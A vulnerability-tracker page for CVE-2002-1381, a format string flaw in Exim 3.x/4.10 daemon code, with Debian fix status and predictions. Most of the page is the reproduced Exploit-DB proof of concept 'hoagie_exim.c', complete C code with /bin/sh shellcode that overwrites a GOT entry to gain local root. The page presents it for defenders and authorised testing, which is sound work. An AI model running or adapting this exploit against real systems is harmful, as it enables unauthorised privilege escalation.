CVE-2002-1381

unknown
Published — · Modified —
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
1.0

Description

Format string vulnerability in daemon.c for Exim 4.x through 4.10, and 3.x through 3.36, allows exim administrative users to execute arbitrary code by modifying the pid_file_path value.

Predictions

Exploit likelihood
55%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

Mitigation details

Source: Debian Security Tracker · View original ↗ · DFSG

CVE-2002-1381 NameCVE-2002-1381 DescriptionFormat string vulnerability in daemon.c for Exim 4.x through 4.10, and 3.x through 3.36, allows exim administrative users to execute arbitrary code by modifying the pid_file_path value. SourceCVE (at NVD; CERT, ENISA, LWN, oss-sec, fulldisc, Debian ELTS, Red Hat, Ubuntu, Gentoo, SUSE bugzilla/CVE, GitHub advisories/code/issues, web search, more)…

CVE-2002-1381

NameCVE-2002-1381
DescriptionFormat string vulnerability in daemon.c for Exim 4.x through 4.10, and 3.x through 3.36, allows exim administrative users to execute arbitrary code by modifying the pid_file_path value.
SourceCVE (at NVD; CERT, ENISA, LWN, oss-sec, fulldisc, Debian ELTS, Red Hat, Ubuntu, Gentoo, SUSE bugzilla/CVE, GitHub advisories/code/issues, web search, more)

Vulnerable and fixed packages

The table below lists information on source packages.

Source PackageReleaseVersionStatus
exim4 (PTS)bullseye4.94.2-7+deb11u3fixed
bullseye (security)4.94.2-7+deb11u5fixed
bookworm4.96-15+deb12u9fixed
bookworm (security)4.96-15+deb12u10fixed
trixie4.98.2-1+deb13u2fixed
trixie (security)4.98.2-1+deb13u3fixed
forky, sid4.99.3-2fixed

The information below is based on the following data on fixed versions.

PackageTypeReleaseFixed VersionUrgencyOriginDebian Bugs
eximsource(unstable)3.36-14
exim4source(unstable)4.11-0.0.1

Home - Debian Security - Source (Git)

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-22066 local linux verified text · 9 KB
Thomas Wana · 2002-12-04

Exim Internet Mailer 3.35/3.36/4.10 - Format String

text exploit Source: Exploit-DB
// source: https://www.securityfocus.com/bid/6314/info

A format string vulnerability has been discovered in Exim. The problem occurs in the daemon_go() function. By supplying malicious format strings via the command line, it is possible for an attacker to execute arbitrary code with root privileges.

It should be noted that the execution of the daemon_go() function is limited to the user defined as the 'exim-admin-user'. The 'exim-admin-user' must be defined at compile time.

/***********************************************************
 * hoagie_exim.c
 *
 * local root exploit for exim 4.10 and probably others.
 * [only works for exim admin users]
 *
 * Format string bug when handling with the pid_file_path.
 * 
 * Author: Thomas Wana <01psi194@fhwn.ac.at>
 *
 * Greetz to andi and the other hoagie-fellas :-)
 *
 * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
 * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY 
 * DAMAGE DONE USING THIS PROGRAM.
 *
 ************************************************************/

#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <string.h>

/*******************************************************
 * CRUCIAL VALUES
 * 
 * these standard values work for Debian Woody i386,
 * source build. 
 *
 * Play with the padding if the program can't find the
 * right stackpop values.
 *
 * ALTERNATE_PORT is the port where exim will bind during
 * the stackpop sequences. The port will be incremented by
 * one for each try, so expect to have many instances of
 * exim running. (this is because the port is bound to as
 * root and the user program can't kill that process anymore)
 *
 * Get the GOT_ADDRESS with 'objdump --dynamic-reloc exim | grep fopen'
 *
 * Shellcode-Address can vary, it is dependant on the size
 * of the current environment. I had values between 0xbffffb00
 * and 0xbffffe90. 
 *
 ********************************************************/
#define PADDING 3
#define ALTERNATE_PORT 3330
#define FOPEN_GOT_ADDRESS 0x080b6194
#define SHELLCODE_ADDRESS 0xbffffd00

#define SB4(a) ((unsigned int)(a>>24))
#define SB3(a) ((unsigned int)((a>>16)&0xFF))
#define SB2(a) ((unsigned int)((a>>8)&0xFF))
#define SB1(a) ((unsigned int)(a&0XFF))

char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\xeb\x1e\x5e\x31\xc0\x88\x46\x07\x89"
                 "\x76\x08\x89\x46\x0c\x89\xc2\xb0\x0b"
                 "\x89\xf3\x8d\x4e\x08\xcd\x80\x31\xc0"
                 "\x89\xc3\x40\xcd\x80\xe8\xdd\xff\xff"
                 "\xff/bin/sh";

int port=ALTERNATE_PORT;
char path[100];

int check_for_AAAA(char *line)
{
   int rval=0;
   char *endptr;

   if(strstr(line,"too long"))
   {
      endptr=strrchr(line,':')-8;   
   }
   else
   {
      endptr=line+strlen(line)-1-8;
   }
   if(strstr(endptr,"41414141")) rval=1;
   return rval;
}

int calc_bytes_written(char *line)
{
   int rval=0;
   char *p;
   if((p=strrchr(line,':')))
   {
      rval=(p-line); 
   }
   else
   {
      rval=strlen(line);
   } 
   if(strstr(line,"pid written to ")) rval-=strlen("pid written to ");
   else rval-=strlen("failed to open pid file ");
   return rval;
}

void getstackpops(int *bigs, int *smalls, int *bytes_written)
{
   int cpid;
   int pipedes[2];
   int found=0;
   int bs=0, ss=1;
   char hilf[10];

   printf("Getting stackpops ...\n");
   *bigs=0;
   *smalls=1;

   while(!found)
   {
      if(pipe(pipedes))
      {
         perror("pipe");
         exit(1);
      }  
   
      port++;
      cpid=fork();
      if(cpid==0)
      {
         // child process
         
         char fs[10000];
         int i;
   
         // close stderr and recreate it pointing into the pipe
         close(2);
         dup2(pipedes[1],2);

         // make new formatstring

         strcpy(fs,"/tmp/%s");
         for(i=0;i<PADDING;i++)
            strcat(fs,"Z");
         strcat(fs,"0000AAAA0000AAAA0000AAAA0000AAAA");
         for(i=0;i<bs;i++)
            strcat(fs,"%+e");
         for(i=0;i<ss;i++)
            strcat(fs,"%08x");

         // execute exim
         sprintf(hilf,"%d",port);
         execl(path,"exim","-bd","-d","-oX",hilf,"-oP",fs,"-F",shellcode,NULL);
      }
      else if(cpid>0)
      {
         // parent process 
         FILE *fp=fdopen(pipedes[0],"r");
         char line[10000];
         if(fp) 
         {
            do
            {
               fgets(line,10000,fp);
               line[strlen(line)-1]=0;
   /*  printf("%s\n",line);  ENABLE THIS LINE WHEN THE PROGRAM GETS STUCK! */
               if(strstr(line,"pid written to ") ||
                  strstr(line,"failed to open pid file "))
               {
                  if(strstr(line,"nan")) printf("watch out, nan encountered.\n");
                  if(check_for_AAAA(line)==1)
                  {
                     // stackpops found, values are OK
                     found=1;
                     bs--;         // revert 2 stackpops
                     printf("Stackpops found ;-)\n");
                     *bigs=bs;
                     *smalls=ss;
                     *bytes_written=calc_bytes_written(line)-13;
                  }
                  else
                  {
                     // increase stackpops
                     ss++;
                     if(ss==3) bs++, ss=1;
                     printf("trying bs=%d, ss=%d\n",bs,ss);
                  }
               }
            } while(!strstr(line,"Listening..."));
            fclose(fp);
         }
         else perror("fdopen");
         kill(cpid,SIGINT);
         usleep(100000);
      }
      else perror("fork"); 
      close(pipedes[0]);
      close(pipedes[1]);
   }
}

void get_write_paddings(unsigned long addr, int *p1, int *p2, int *p3, 
                        int *p4, int bytes_written)
{
   // greetings to scud :-)
   int write_byte;
   int already_written;
   int padding;

   write_byte=SB1(addr);
   already_written=bytes_written;
   write_byte+=0x100;
   already_written%=0x100;
   padding=(write_byte-already_written)%0x100;
   if(padding<10) padding+=0x100;
   *p1=padding;

   write_byte=SB2(addr);
   already_written+=padding;
   write_byte+=0x100;
   already_written%=0x100;
   padding=(write_byte-already_written)%0x100;
   if(padding<10) padding+=0x100;
   *p2=padding;

   write_byte=SB3(addr);
   already_written+=padding;
   write_byte+=0x100;
   already_written%=0x100;
   padding=(write_byte-already_written)%0x100;
   if(padding<10) padding+=0x100;
   *p3=padding;

   write_byte=SB4(addr);
   already_written+=padding;
   write_byte+=0x100;
   already_written%=0x100;
   padding=(write_byte-already_written)%0x100;
   if(padding<10) padding+=0x100;
   *p4=padding;
}

int main(int argc, char **argv)
{
   int bigpops, smallpops, bytes_written, i;
   unsigned char fs[10000], hilf[1000];
   unsigned long a=FOPEN_GOT_ADDRESS,
                 b=FOPEN_GOT_ADDRESS+1,
                 c=FOPEN_GOT_ADDRESS+2,
                 d=FOPEN_GOT_ADDRESS+3; 
   unsigned int p1,p2,p3,p4;

   if(argc!=2)
   {
      printf("local root exploit for exim 4.10 [only works for exim admin users]\n\n");
      printf("./hoagie_exim path_to_exim\n\n");
      exit(1);
   }
   strcpy(path,argv[1]);        // exploiting an exploit? hehe

   getstackpops(&bigpops,&smallpops,&bytes_written);
   printf("Using %d bigpops and %d smallpops.\n", bigpops,smallpops);
   printf("Written bytes: %d\n",bytes_written);

   strcpy(fs,"/tmp/%s");
   for(i=0;i<PADDING;i++)
      strcat(fs,"Z");

   sprintf(hilf,"0000%c%c%c%c"
               "0000%c%c%c%c"
               "0000%c%c%c%c"
               "0000%c%c%c%c",
           SB1(a),SB2(a),SB3(a),SB4(a),SB1(b),SB2(b),SB3(b),SB4(b),
           SB1(c),SB2(c),SB3(c),SB4(c),SB1(d),SB2(d),SB3(d),SB4(d)); 
   strcat(fs,hilf);
   for(i=0;i<bigpops;i++)
      strcat(fs,"%+e");
   for(i=0;i<smallpops;i++)
      strcat(fs,"%08x"); 

   get_write_paddings(SHELLCODE_ADDRESS,&p1,&p2,&p3,&p4,bytes_written);

   sprintf(hilf,"%%.%uu%%n%%.%uu%%n%%.%uu%%n%%.%uu%%n",p1,p2,p3,p4);
   strcat(fs,hilf);
  
   // GET ROOT 
   printf("calling exim with fs='%s'\n",fs);
   sprintf(hilf,"%d",++port);
   execl(path,"exim","-bd","-d","-oX",hilf,"-oP",fs,"-F",shellcode,NULL);

   return 0;
}

OS impact

debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 4.11-0.0.1
sid Fixed 4.11-0.0.1
forky Fixed 4.11-0.0.1
bullseye Fixed 4.11-0.0.1
bookworm Fixed 4.11-0.0.1

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.